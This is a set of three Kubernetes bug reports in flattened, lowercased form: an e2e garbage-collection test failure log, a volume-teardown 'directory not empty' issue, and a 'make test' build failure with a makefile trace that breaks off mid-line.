garbage collection test: one non-restarting container\r   /home/vagrant/go-workspace/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/garbage_collector_test.go:172\r step: creating 1 containers with restartcount: 0\r step: making sure all containers restart the specified number of times\r  it  should eventually garbage collect containers when we exceed the number of dead containers per container\r   /home/vagrant/go-workspace/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/garbage_collector_test.go:187\r e0830 11:36:11.884987   27206 remote_runtime.go:262  listcontainers with filter &containerfilter{id:,state:nil,podsandboxid:,labelselector:map string string{io.kubernetes.pod.name: gc-test-pod-one-container-no-restarts,io.kubernetes.pod.namespace: e2e-tests-garbage-collect-test-qqrh5,},} from runtime service failed: rpc error: code = unavailable desc = grpc: the connection is unavailable\r {repeated entries}\r e0830 11:38:51.896630   27206 remote_runtime.go:262  listcontainers with filter &containerfilter{id:,state:nil,podsandboxid:,labelselector:map string string{io.kubernetes.pod.name: gc-test-pod-one-container-no-restarts,io.kubernetes.pod.namespace: e2e-tests-garbage-collect-test-qqrh5,},} from runtime service failed: rpc error: code = unavailable desc = grpc: the connection is unavailable\r e0830 11:39:01.896865   27206 remote_runtime.go:262  listcontainers with filter &containerfilter{id:,state:nil,podsandboxid:,labelselector:map string string{io.kubernetes.pod.name: gc-test-pod-one-container-no-restarts,io.kubernetes.pod.namespace: e2e-tests-garbage-collect-test-qqrh5,},} from runtime service failed: rpc error: code = unavailable desc = grpc: the connection is unavailable\r  aftereach  garbage collection test: one non-restarting container\r   /home/vagrant/go-workspace/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/garbage_collector_test.go:246\r step: deleting pod gc-test-pod-one-container-no-restarts\r aug 30 11:39:11.891: info: waiting for pod gc-test-pod-one-container-no-restarts to disappear\r aug 30 11:39:11.899: info: pod gc-test-pod-one-container-no-restarts still exists\r {repeated entries}\r aug 30 11:39:45.900: info: waiting for pod gc-test-pod-one-container-no-restarts to disappear\r aug 30 11:39:45.901: info: pod gc-test-pod-one-container-no-restarts no longer exists\r step: making sure all containers get cleaned up\r e0830 11:39:45.902054   27206 remote_runtime.go:262  listcontainers with filter &containerfilter{id:,state:nil,podsandboxid:,labelselector:map string string{io.kubernetes.pod.name: gc-test-pod-one-container-no-restarts,io.kubernetes.pod.namespace: e2e-tests-garbage-collect-test-qqrh5,},} from runtime service failed: rpc error: code = unavailable desc = grpc: the connection is unavailable\r e0830 11:39:55.902594   27206 remote_runtime.go:262  listcontainers with filter &containerfilter{id:,state:nil,podsandboxid:,labelselector:map string string{io.kubernetes.pod.name: gc-test-pod-one-container-no-restarts,io.kubernetes.pod.namespace: e2e-tests-garbage-collect-test-qqrh5,},} from runtime service failed: rpc error: code = unavailable desc = grpc: the connection is unavailable\r e0830 11:42:25.920858   27206 remote_runtime.go:262  listcontainers with filter &containerfilter{id:,state:nil,podsandboxid:,labelselector:map string string{io.kubernetes.pod.name: gc-test-pod-one-container-no-restarts,io.kubernetes.pod.namespace: e2e-tests-garbage-collect-test-qqrh5,},} from runtime service failed: rpc error: code = unavailable desc = grpc: the connection is unavailable\r e0830 11:42:35.921209   27206 remote_runtime.go:262  listcontainers with filter &containerfilter{id:,state:nil,podsandboxid:,labelselector:map string string{io.kubernetes.pod.name: gc-test-pod-one-container-no-restarts,io.kubernetes.pod.namespace: e2e-tests-garbage-collect-test-qqrh5,},} from runtime service failed: rpc error: code = unavailable desc = grpc: the connection is unavailable\r  aftereach   k8s.io  garbagecollect  serial  nodefeature:garbagecollect \r   /home/vagrant/go-workspace/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:145\r step: collecting events from namespace \ e2e-tests-garbage-collect-test-qqrh5\ .\r step: found 4 events.\r aug 30 11:42:45.908: info: at 2018-08-30 11:36:10 +0000 utc - event for gc-test-pod-one-container-no-restarts: {kubelet 127.0.0.1} pulled: container image \ busybox\  already present on machine\r aug 30 11:42:45.908: info: at 2018-08-30 11:36:10 +0000 utc - event for gc-test-pod-one-container-no-restarts: {kubelet 127.0.0.1} created: created container\r aug 30 11:42:45.908: info: at 2018-08-30 11:36:10 +0000 utc - event for gc-test-pod-one-container-no-restarts: {kubelet 127.0.0.1} started: started container\r aug 30 11:42:45.908: info: at 2018-08-30 11:39:42 +0000 utc - event for gc-test-pod-one-container-no-restarts: {kubelet 127.0.0.1} killing: killing container with id docker://gc-test-container-one-container-no-restarts0:need to kill pod\r aug 30 11:42:45.912: info: pod                       node       phase    grace  conditions\r aug 30 11:42:45.912: info: busybox                   127.0.0.1  running          {initialized true 0001-01-01 00:00:00 +0000 utc 2018-08-30 11:20:19 +0000 utc  } {ready true 0001-01-01 00:00:00 +0000 utc 2018-08-30 11:20:20 +0000 utc  } {containersready true 0001-01-01 00:00:00 +0000 utc 0001-01-01 00:00:00 +0000 utc  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2018-08-30 11:20:19 +0000 utc  } \r aug 30 11:42:45.912: info: kube-dns-7f59844b4-pk9w7  127.0.0.1  running          {initialized true 0001-01-01 00:00:00 +0000 utc 2018-08-30 11:05:19 +0000 utc  } {ready true 0001-01-01 00:00:00 +0000 utc 2018-08-30 11:05:49 +0000 utc  } {containersready true 0001-01-01 00:00:00 +0000 utc 0001-01-01 00:00:00 +0000 utc  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2018-08-30 11:05:19 +0000 utc  } \r aug 30 11:42:45.912: info:\r aug 30 11:42:45.915: info:\r logging node info for node 127.0.0.1\r aug 30 11:42:45.919: info: node info: &node{objectmeta:k8s_io_apimachinery_pkg_apis_meta_v1.objectmeta{name:127.0.0.1,generatename:,namespace:,selflink:/api/v1/nodes/127.0.0.1,uid:8f253ad4-ac44-11e8-8628-080027420e40,resourceversion:820,generation:0,creationtimestamp:2018-08-30 11:05:09 +0000 utc,deletiontimestamp:<nil>,deletiongraceperiodseconds:nil,labels:map string string{beta.kubernetes.io/arch: amd64,beta.kubernetes.io/os: linux,kubernetes.io/hostname: 127.0.0.1,},annotations:map string string{node.alpha.kubernetes.io/ttl: 0,volumes.kubernetes.io/controller-managed-attach-detach: true,},ownerreferences:  ,finalizers:  ,clustername:,initializers:nil,},spec:nodespec{podcidr:,donotuse_externalid:,providerid:,unschedulable:false,taints:  ,configsource:nil,},status:nodestatus{capacity:resourcelist{cpu: {{2 0} {<nil>} 2 decimalsi},ephemeral-storage: {{60228292608 0} {<nil>} 58816692ki binarysi},hugepages-2mi: {{0 0} {<nil>} 0 decimalsi},memory: {{8371507200 0} {<nil>} 8175300ki binarysi},pods: {{110 0} {<nil>} 110 decimalsi},},allocatable:resourcelist{cpu: {{2 0} {<nil>} 2 decimalsi},ephemeral-storage: {{54205463258 0} {<nil>} 54205463258 decimalsi},hugepages-2mi: {{0 0} {<nil>} 0 decimalsi},memory: {{8266649600 0} {<nil>} 8072900ki binarysi},pods: {{110 0} {<nil>} 110 decimalsi},},phase:,conditions: {outofdisk false 2018-08-30 11:42:41 +0000 utc 2018-08-30 11:05:09 +0000 utc kubelethassufficientdisk kubelet has sufficient disk space available} {memorypressure false 2018-08-30 11:42:41 +0000 utc 2018-08-30 11:05:09 +0000 utc kubelethassufficientmemory kubelet has sufficient memory available} {diskpressure false 2018-08-30 11:42:41 +0000 utc 2018-08-30 11:05:09 +0000 utc kubelethasnodiskpressure kubelet has no disk pressure} {pidpressure false 2018-08-30 11:42:41 +0000 utc 2018-08-30 11:05:09 +0000 utc kubelethassufficientpid kubelet has sufficient pid available} {ready true 2018-08-30 11:42:41 +0000 utc 2018-08-30 11:05:19 +0000 utc kubeletready kubelet is posting ready status} ,addresses: {internalip 127.0.0.1} {hostname 127.0.0.1} ,daemonendpoints:nodedaemonendpoints{kubeletendpoint:daemonendpoint{port:10250,},},nodeinfo:nodesysteminfo{machineid:e5269d3b7f889163c9d8747658aa8e1b,systemuuid:67c1cb2b-05da-4da5-a0b6-31d667e52b0a,bootid:df85df19-251b-4814-a298-f36d4858331b,kernelversion:4.4.0-62-generic,osimage:ubuntu 16.04.2 lts,containerruntimeversion:docker://18.6.0,kubeletversion:v1.13.0-alpha.0.775+72ef97a1411293-dirty,kubeproxyversion:v1.13.0-alpha.0.775+72ef97a1411293-dirty,operatingsystem:linux,architecture:amd64,},images: { gcr.io/kubernetes-e2e-test-images/volume/gluster@sha256:e2d3308b2d27499d59f120ff46dfc6c4cb307a3f207f02894ecab902583761c9 gcr.io/kubernetes-e2e-test-images/volume/gluster:1.0  332011484} { k8s.gcr.io/node-problem-detector@sha256:f95cab985c26b2f46e9bd43283e0bfa88860c14e0fb0649266babe8b65e9eb2b k8s.gcr.io/node-problem-detector:v0.4.1  286572743} { gcr.io/kubernetes-e2e-test-images/volume/nfs@sha256:c2ad734346f608a5f7d69cfded93c4e8094069320657bd372d12ba21dea3ea71 gcr.io/kubernetes-e2e-test-images/volume/nfs:1.0  225358913} { google/cadvisor@sha256:9e347affc725efd3bfe95aa69362cf833aa810f84e6cb9eed1cb65c35216632a google/cadvisor:latest  62207857} { k8s.gcr.io/k8s-dns-kube-dns-amd64@sha256:b99fc3eee2a9f052f7eb4cc00f15eb12fc405fa41019baa2d6b79847ae7284a8 k8s.gcr.io/k8s-dns-kube-dns-amd64:1.14.10  49549457} { k8s.gcr.io/k8s-dns-sidecar-amd64@sha256:4f1ab957f87b94a5ec1edc26fae50da2175461f00afecf68940c4aa079bd08a4 k8s.gcr.io/k8s-dns-sidecar-amd64:1.14.10  41635309} { k8s.gcr.io/k8s-dns-dnsmasq-nanny-amd64@sha256:bbb2a290a568125b3b996028958eb773f33b5b87a6b37bf38a28f8b62dddb3c8 k8s.gcr.io/k8s-dns-dnsmasq-nanny-amd64:1.14.10  40372149} { nginx@sha256:86599c8fb96315b7309802590e3a2388b32a793ded85d630434e58749500cce5 nginx:1.14-alpine  18611697} { k8s.gcr.io/nvidia-gpu-device-plugin@sha256:0842734032018be107fa2490c98156992911e3e1f2a21e059ff0105b07dd8e9e  17574483} { gcr.io/kubernetes-e2e-test-images/net@sha256:973f47a88f50ccd7800f6ec300e664461e7c011c2da3a33edf32a73dd9ff9c01 gcr.io/kubernetes-e2e-test-images/net:1.0  11393460} { gcr.io/kubernetes-e2e-test-images/ipc-utils@sha256:bb127be3a1ecac0516f672a5e223d94fe6021021534ecb7a02a607a63154c3d8 gcr.io/kubernetes-e2e-test-images/ipc-utils:1.0  10039224} { gcr.io/kubernetes-e2e-test-images/hostexec@sha256:90dfe59da029f9e536385037bc64e86cd3d6e55bae613ddbe69e554d79b0639d gcr.io/kubernetes-e2e-test-images/hostexec:1.1  8490662} { gcr.io/kubernetes-e2e-test-images/nonewprivs@sha256:10066e9039219449fe3c81f38fe01928f87914150768ab81b62a468e51fa7411 gcr.io/kubernetes-e2e-test-images/nonewprivs:1.0  6757579} { gcr.io/kubernetes-e2e-test-images/netexec@sha256:738c96036e6e0a90fdae3499c8c9ee9a7d75c0dae70cd22440f69d027c6686d7 gcr.io/kubernetes-e2e-test-images/netexec:1.0  6713741} { gcr.io/kubernetes-e2e-test-images/serve-hostname@sha256:bab70473a6d8ef65a22625dc9a1b0f0452e811530fdbe77e4408523460177ff1 gcr.io/kubernetes-e2e-test-images/serve-hostname:1.1  5851985} { k8s.gcr.io/stress@sha256:f00aa1ddc963a3164aef741aab0fc05074ea96de6cd7e0d10077cf98dd72d594 k8s.gcr.io/stress:v1  5494760} { gcr.io/kubernetes-e2e-test-images/test-webserver@sha256:7f93d6e32798ff28bc6289254d0c2867fe2c849c8e46edc50f8624734309812e gcr.io/kubernetes-e2e-test-images/test-webserver:1.0  4732240} { gcr.io/kubernetes-e2e-test-images/liveness@sha256:748662321b68a4b73b5a56961b61b980ad3683fc6bcae62c1306018fcdba1809 gcr.io/kubernetes-e2e-test-images/liveness:1.0  4608721} { gcr.io/kubernetes-e2e-test-images/entrypoint-tester@sha256:ba4681b5299884a3adca70fbde40638373b437a881055ffcd0935b5f43eb15c9 gcr.io/kubernetes-e2e-test-images/entrypoint-tester:1.0  2729534} { gcr.io/kubernetes-e2e-test-images/mounttest@sha256:c0bd6f0755f42af09a68c9a47fb993136588a76b3200ec305796b60d629d85d2 gcr.io/kubernetes-e2e-test-images/mounttest:1.0  1563521} { gcr.io/kubernetes-e2e-test-images/mounttest-user@sha256:17319ca525ee003681fccf7e8c6b1b910ff4f49b653d939ac7f9b6e7c463933d gcr.io/kubernetes-e2e-test-images/mounttest-user:1.0  1450451} { busybox@sha256:cb63aa0641a885f54de20f61d152187419e8f6b159ed11a251a09d115fdff9bd busybox:1.29 busybox:latest  1162769} { k8s.gcr.io/busybox@sha256:4bdd623e848417d96127e16037743f0cd8b528c026e9175e22a84f639eca58ff  1113554} { k8s.gcr.io/pause@sha256:f78411e19d84a252e53bff71a4407a5686c46983a2c2eeed83929b888179acea k8s.gcr.io/pause:3.1  742472} ,volumesinuse:  ,volumesattached:  ,config:nil,},}\r aug 30 11:42:46.351: info:\r logging kubelet events for node 127.0.0.1\r aug 30 11:42:46.355: info:\r logging pods the kubelet thinks is on node 127.0.0.1\r aug 30 11:42:46.360: info: kube-dns-7f59844b4-pk9w7 started at 2018-08-30 11:05:19 +0000 utc  0+3 container statuses recorded \r aug 30 11:42:46.360: info: \tcontainer dnsmasq ready: true, restart count 0\r aug 30 11:42:46.360: info: \tcontainer kubedns ready: true, restart count 0\r aug 30 11:42:46.360: info: \tcontainer sidecar ready: true, restart count 0\r aug 30 11:42:46.360: info: busybox started at 2018-08-30 11:20:19 +0000 utc  0+1 container statuses recorded \r aug 30 11:42:46.360: info: \tcontainer busybox ready: true, restart count 0\r w0830 11:42:46.363064   27206 metrics_grabber.go:81  master node is not registered. grabbing metrics from scheduler, controllermanager and clusterautoscaler is disabled.\r aug 30 11:42:46.380: info:\r latency metrics for node 127.0.0.1\r step: dumping a list of prepulled images on each node...\r aug 30 11:42:46.383: info: waiting up to 3m0s for all  but 0  nodes to be ready\r step: destroying namespace \ e2e-tests-garbage-collect-test-qqrh5\  for this suite.\r aug 30 11:42:52.392: info: waiting up to 30s for server preferred namespaced resources to be successfully discovered\r aug 30 11:42:52.432: info: namespace: e2e-tests-garbage-collect-test-qqrh5, resource: bindings, ignored listing per whitelist\r aug 30 11:42:52.454: info: namespace e2e-tests-garbage-collect-test-qqrh5 deletion completed in 6.069110772s\r \r • failure  403.630 seconds \r  k8s.io  garbagecollect  serial  nodefeature:garbagecollect \r /home/vagrant/go-workspace/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:703\r   garbage collection test: one non-restarting container\r   /home/vagrant/go-workspace/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/garbage_collector_test.go:171\r     should eventually garbage collect containers when we exceed the number of dead containers per container  it \r     /home/vagrant/go-workspace/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/garbage_collector_test.go:187\r \r     timed out after 180.000s.\r     expected\r         < status.statuserror | 0xc420ba7410>: {\r             code: 14,\r             message: \ grpc: the connection is unavailable\ ,\r             details: nil,\r         }\r     to be nil\r \r     /home/vagrant/go-workspace/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/garbage_collector_test.go:219\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 13+\ , gitversion:\ v1.13.0-alpha.0.775+72ef97a1411293-dirty\ , gitcommit:\ 72ef97a1411293f39b918f7eca9f95324c6d46e9\ , gittreestate:\ dirty\ , builddate:\ 2018-08-30t07:35:52z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 13+\ , gitversion:\ v1.13.0-alpha.0.775+72ef97a1411293-dirty\ , gitcommit:\ 72ef97a1411293f39b918f7eca9f95324c6d46e9\ , gittreestate:\ dirty\ , builddate:\ 2018-08-30t07:35:52z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:    local-cluster   \r - os  e.g. from /etc/os-release :    16.04.2 lts  xenial xerus    \r - kernel  e.g.  uname -a  :    linux minimal-xenial 4.4.0-62-generic  83-ubuntu   \r - install tools:\r - others:\r \r /area conformance\r /area test\r @kubernetes/sig-node-test-failures

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r \r when then  init  process of pod is blocking in requesting remote url,i delete the pod.but the init process is still blocking and the umonter is umounting pod volume.at the same time,the process wakes up and writes something to volume,leading to something left in pod volume path mine is /var/lib/kubelet/pods/ea23394f-db52-11e8-ad88-6c92bf6f20b2/volumes/hulk~lvm/hulklvm .then the umounter is trying to rmdir pod volume path.but it failed and print:\r \r  nestedpendingoperations.go:262  operation for \ \\\ hulk/lvm/hulklvm\\\   \\\ ea23394f-db52-11e8-ad88-6c92bf6f20b2\\\  \  failed. no retries permitted until 2018-10-29 16:16:38.785298614 +0800 cst  durationbeforeretry 500ms . error: unmountvolume.teardown failed for volume \ hulk/lvm/hulklvm\   volume.spec.name: \ hulklvm\   pod \ ea23394f-db52-11e8-ad88-6c92bf6f20b2\   uid: \ ea23394f-db52-11e8-ad88-6c92bf6f20b2\   with: remove /var/lib/kubelet/pods/ea23394f-db52-11e8-ad88-6c92bf6f20b2/volumes/hulk~lvm/hulklvm: directory not empty \r \r   what you expected to happen  :\r \r ! image  https://user-images.githubusercontent.com/8275883/47671718-2cc97d80-dbeb-11e8-85c7-c6f16f063f76.png \r \r it should remove the volume path even  if directory not empty.means in umounter/teardownat, we should use os.removeall at end instead of os.remove\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r while creating a pod and pod  is stucked ,delete it\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :1.6.6\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :centos 7\r - kernel  e.g.  uname -a  :3.10.0-693.mt20180403.47.el7.x86_64\r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r make test is failing due to  build failure\r \r   what you expected to happen  :\r make test should be successful\r \r   how to reproduce it  as minimally and precisely as possible   :\r clone kubenetes git and run make test\r   anything else we need to know?  :\r \r   environment  :\r - os  e.g. from /etc/os-release :\r    \r name=\ ubuntu\ \r version=\ 18.04.1 lts  bionic beaver \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 18.04.1 lts\ \r version_id=\ 18.04\ \r home_url=\ https://www.ubuntu.com/\ \r support_url=\ https://help.ubuntu.com/\ \r bug_report_url=\ https://bugs.launchpad.net/ubuntu/\ \r privacy_policy_url=\ https://www.ubuntu.com/legal/terms-and-policies/privacy-policy\ \r version_codename=bionic\r ubuntu_codename=bionic\r    \r - kernel  e.g.  uname -a  :  linux ubuntu18.04-icp-node-4 4.15.0-43-generic  46-ubuntu smp thu dec 6 14:45:28 utc 2018 x86_64 x86_64 x86_64 gnu/linux \r \r go version:\r \r    go version go1.11.1 linux/amd64   \r \r other:\r \r    \r root@ubuntu18:/go/src/k8s.io/kubernetes  make test --trace\r makefile:523: target 'generated_files' does not exist\r make -f makefile.generated_files generated_files called_from_main_makefile=1\r makefile.generated_files:63: update target '.make/go-pkgdeps.mk' due to: force\r if    \ \  == 1   ; then          \\\r     echo \ dbg: calculating go dependencies\ ;  \\\r fi\r hack/run-in-gopath.sh go install ./hack/make-rules/helpers/go2make\r hack/run-in-gopath.sh go2make                     \\\r     k8s.io/kubernetes/...                         \\\r     --prune  k8s.io/kubernetes/staging            \\\r     --prune  k8s.io/kubernetes/vendor             \\\r     k8s.io/kubernetes/vendor/k8s.io/...           \\\r     github.com/jteeuwen/go-bindata/go-bindata/... \\\r     > .make/go-pkgdeps.mk.tmp\r if ! cmp -s .make/go-pkgdeps.mk.tmp .make/go-pkgdeps.mk; then                       \\\r     if    \ \  == 1   ; then          \\\r         echo \ dbg: go-pkgdeps.mk changed\ ;   \\\r     fi;                                           \\\r     cat .make/go-pkgdeps.mk.tmp > .make/go-pkgdeps.mk;                              \\\r fi\r rm -f .make/go-pkgdeps.mk.tmp\r makefile.generated_files:152: update target 'gen_deepcopy' due to: _output/bin/deepcopy-gen .make/_output/bin/deepcopy-gen.todo\r if    -s .make/_output/bin/deepcopy-gen.todo   ; then                 \\\r     pkgs=$ cat .make/_output/bin/deepcopy-gen.todo | paste -sd, - ;  \\\r     if    \ \  == 1   ; then                           \\\r         echo \ dbg: running _output/bin/deepcopy-gen for $pkgs\ ;            \\\r     fi;                                                            \\\r     ./hack/run-in-gopath.sh _output/bin/deepcopy-gen                        \\\r         --v 1                                        \\\r         --logtostderr                                              \\\r         -i \ $pkgs\                                                 \\\r         --bounding-dirs k8s.io/kubernetes,\ k8s.io/api\                \\\r         -o zz_generated.deepcopy                                    \\\r         \ $@\ ;                                                     \\\r fi                                                                 \\\r \r makefile.generated_files:248: update target 'gen_defaulter' due to: _output/bin/defaulter-gen .make/_output/bin/defaulter-gen.todo\r if    -s .make/_output/bin/defaulter-gen.todo   ; then                 \\\r     pkgs=$ cat .make/_output/bin/defaulter-gen.todo | paste -sd, - ;  \\\r     if    \ \  == 1   ; then                            \\\r         echo \ dbg: running _output/bin/defaulter-gen for $pkgs\ ;            \\\r     fi;                                                             \\\r     ./hack/run-in-gopath.sh _output/bin/defaulter-gen                        \\\r         --v 1                                         \\\r         --logtostderr                                               \\\r         -i \ $pkgs\                                                  \\\r         --extra-peer-dirs $ echo k8s.io/kubernetes/cmd/cloud-controller-manager/app/apis/config/v1alpha1 k8s.io/kubernetes/cmd/kubeadm/app/apis/kubeadm/v1alpha3 k8s.io/kubernetes/cmd/kubeadm/app/apis/kubeadm/v1beta1 k8s.io/kubernetes/pkg/apis/abac/v1beta1 k8s.io/kubernetes/pkg/apis/admission/v1beta1 k8s.io/kubernetes/pkg/apis/admissionregistration/v1beta1 k8s.io/kubernetes/pkg/apis/apps/v1 k8s.io/kubernetes/pkg/apis/apps/v1beta1 k8s.io/kubernetes/pkg/apis/apps/v1beta2 k8s.io/kubernetes/pkg/apis/auditregistration/v1alpha1 k8s.io/kubernetes/pkg/apis/authentication/v1 k8s.io/kubernetes/pkg/apis/authentication/v1beta1 k8s.io/kubernetes/pkg/apis/authorization/v1 k8s.io/kubernetes/pkg/apis/authorization/v1beta1 k8s.io/kubernetes/pkg/apis/autoscaling/v1 k8s.io/kubernetes/pkg/apis/autoscaling/v2beta1 k8s.io/kubernetes/pkg/apis/autoscaling/v2beta2 k8s.io/kubernetes/pkg/apis/batch/v1 k8s.io/kubernetes/pkg/apis/batch/v1beta1 k8s.io/kubernetes/pkg/apis/batch/v2alpha1 k8s.io/kubernetes/pkg/apis/certificates/v1beta1 k8s.io/kubernetes/pkg/apis/coordination/v1 k8s.io/kubernetes/pkg/apis/coordination/v1beta1 k8s.io/kubernetes/pkg/apis/core/v1 k8s.io/kubernetes/pkg/apis/events/v1beta1 k8s.io/kubernetes/pkg/apis/extensions/v1beta1 k8s.io/kubernetes/pkg/apis/imagepolicy/v1alpha1 k8s.io/kubernetes/pkg/apis/networking/v1 k8s.io/kubernetes/pkg/apis/policy/v1beta1 k8s.io/kubernetes/pkg/apis/rbac/v1 k8s.io/kubernetes/pkg/apis/rbac/v1alpha1 k8s.io/kubernetes/pkg/apis/rbac/v1beta1 k8s.io/kubernetes/pkg/apis/scheduling/v1alpha1 k8s.io/kubernetes/pkg/apis/scheduling/v1beta1 k8s.io/kubernetes/pkg/apis/settings/v1alpha1 k8s.io/kubernetes/pkg/apis/storage/v1 k8s.io/kubernetes/pkg/apis/storage/v1alpha1 k8s.io/kubernetes/pkg/apis/storage/v1beta1 k8s.io/kubernetes/pkg/controller/apis/config/v1alpha1 k8s.io/kubernetes/pkg/kubelet/apis/config/v1beta1 k8s.io/kubernetes/pkg/proxy/apis/config/v1alpha1 k8s.io/kubernetes/pkg/scheduler/apis/config/v1alpha1 k8s.io/kubernetes/plugin/pkg/admission/eventratelimit/apis/eventratelimit/v1alpha1 k8s.io/kubernetes/plugin/pkg/admission/podtolerationrestriction/apis/podtolerationrestriction/v1alpha1 k8s.io/kubernetes/plugin/pkg/admission/resourcequota/apis/resourcequota/v1alpha1 k8s.io/kubernetes/plugin/pkg/admission/resourcequota/apis/resourcequota/v1beta1 k8s.io/kubernetes/vendor/k8s.io/apiextensions-apiserver/pkg/apis/apiextensions/v1beta1 k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/apis/meta/v1 k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/apis/meta/v1beta1 k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/apis/testapigroup/v1 k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission/plugin/webhook/config/apis/webhookadmission/v1alpha1 k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/apis/apiserver/v1alpha1 k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/apis/audit/v1 k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/apis/audit/v1alpha1 k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/apis/audit/v1beta1 k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/apis/config/v1 k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/apis/example/v1 k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/apis/example2/v1 k8s.io/kubernetes/vendor/k8s.io/client-go/pkg/apis/clientauthentication/v1alpha1 k8s.io/kubernetes/vendor/k8s.io/client-go/pkg/apis/clientauthentication/v1beta1 k8s.io/kubernetes/vendor/k8s.io/code-generator/_examples/mixedcase/apis/example/v1 k8s.io/kubernetes/vendor/k8s.io/code-generator/_examples/apiserver/apis/example/v1 k8s.io/kubernetes/vendor/k8s.io/code-generator/_examples/apiserver/apis/example2/v1 k8s.io/kubernetes/vendor/k8s.io/code-generator/_examples/crd/apis/example/v1 k8s.io/kubernetes/vendor/k8s.io/code-generator/_examples/crd/apis/example2/v1 k8s.io/kubernetes/vendor/k8s.io/sample-apiserver/pkg/apis/wardle/v1alpha1 k8s.io/kubernetes/vendor/k8s.io/sample-apiserver/pkg/apis/wardle/v1beta1 | sed 's/ /,/g'  \\\r         -o zz_generated.defaults                                    \\\r         \ $@\ ;                                                      \\\r fi\r makefile.generated_files:352: update target 'gen_conversion' due to: _output/bin/conversion-gen .make/_output/bin/conversion-gen.todo\r if    -s .make/_output/bin/conversion-gen.todo   ; then                 \\\r     pkgs=$ cat .make/_output/bin/conversion-gen.todo | paste -sd, - ;  \\\r     if    \ \  == 1   ; then                             \\\r         echo \ dbg: running _output/bin/conversion-gen for $pkgs\ ;            \\\r     fi;                                                              \\\r     ./hack/run-in-gopath.sh _output/bin/conversion-gen                        \\\r         --extra-peer-dirs k8s.io/kubernetes/pkg/apis/core,k8s.io/kubernetes/pkg/apis/core/v1,k8s.io/api/core/v1              \\\r         --v 1                                          \\\r         --logtostderr                                                \\\r         -i \ $pkgs\                                                   \\\r         -o zz_generated.conversion                                    \\\r         \ $@\ ;                                                       \\\r fi\r makefile.generated_files:500: update target 'gen_bindata' due to: _output/bin/go-bindata force\r ./hack/run-in-gopath.sh hack/generate-bindata.sh\r makefile:184: update target 'test' due to: generated_files\r hack/make-rules/test.sh\r running tests for apiversion: v1,admissionregistration.k8s.io/v1beta1,admission.k8s.io/v1beta1,apps/v1,apps/v1beta1,apps/v1beta2,auditregistration.k8s.io/v1alpha1,authentication.k8s.io/v1,authentication.k8s.io/v1beta1,authorization.k8s.io/v1,authorization.k8s.io/v1beta1,autoscaling/v1,autoscaling/v2beta1,autoscaling/v2beta2,batch/v1,batch/v1beta1,batch/v2alpha1,certificates.k8s.io/v1beta1,coordination.k8s.io/v1beta1,coordination.k8s.io/v1,extensions/v1beta1,events.k8s.io/v1beta1,imagepolicy.k8s.io/v1alpha1,networking.k8s.io/v1,policy/v1beta1,rbac.authorization.k8s.io/v1,rbac.authorization.k8s.io/v1beta1,rbac.authorization.k8s.io/v1alpha1,scheduling.k8s.io/v1alpha1,scheduling.k8s.io/v1beta1,settings.k8s.io/v1alpha1,storage.k8s.io/v1beta1,storage.k8s.io/v1,storage.k8s.io/v1alpha1,\r +++  0204 07:05:17  running tests without code coverage\r ok  \tk8s.io/kubernetes/cluster/gce/cos\t cached \r ok  \tk8s.io/kubernetes/cluster/gce/custom\t cached \r ok  \tk8s.io/kubernetes/cluster/gce/gci\t cached \r ok  \tk8s.io/kubernetes/cluster/gce/ubuntu\t cached \r ok  \tk8s.io/kubernetes/cluster/images/etcd/migrate\t cached \r ok  \tk8s.io/kubernetes/cmd/cloud-controller-manager/app/apis/config/v1alpha1\t cached \r ok  \tk8s.io/kubernetes/cmd/cloud-controller-manager/app/options\t cached \r ok  \tk8s.io/kubernetes/cmd/controller-manager/app\t cached \r ok  \tk8s.io/kubernetes/cmd/controller-manager/app/options\t cached \r ok  \tk8s.io/kubernetes/cmd/genkubedocs\t cached \r ok  \tk8s.io/kubernetes/cmd/genutils\t cached \r go build k8s.io/kubernetes/cmd/kube-scheduler/app/options.test: open /tmp/go-build138919994/b2000/importcfg: no such file or directory\r go build k8s.io/kubernetes/cmd/kubeadm/app/apis/kubeadm.test: open /tmp/go-build138919994/b2003/importcfg: no such file or directory\r go build k8s.io/kubernetes/cmd/kubeadm/app/apis/kubeadm/fuzzer.test: open /tmp/go-build138919994/b2006/importcfg: no such file or directory\r go build 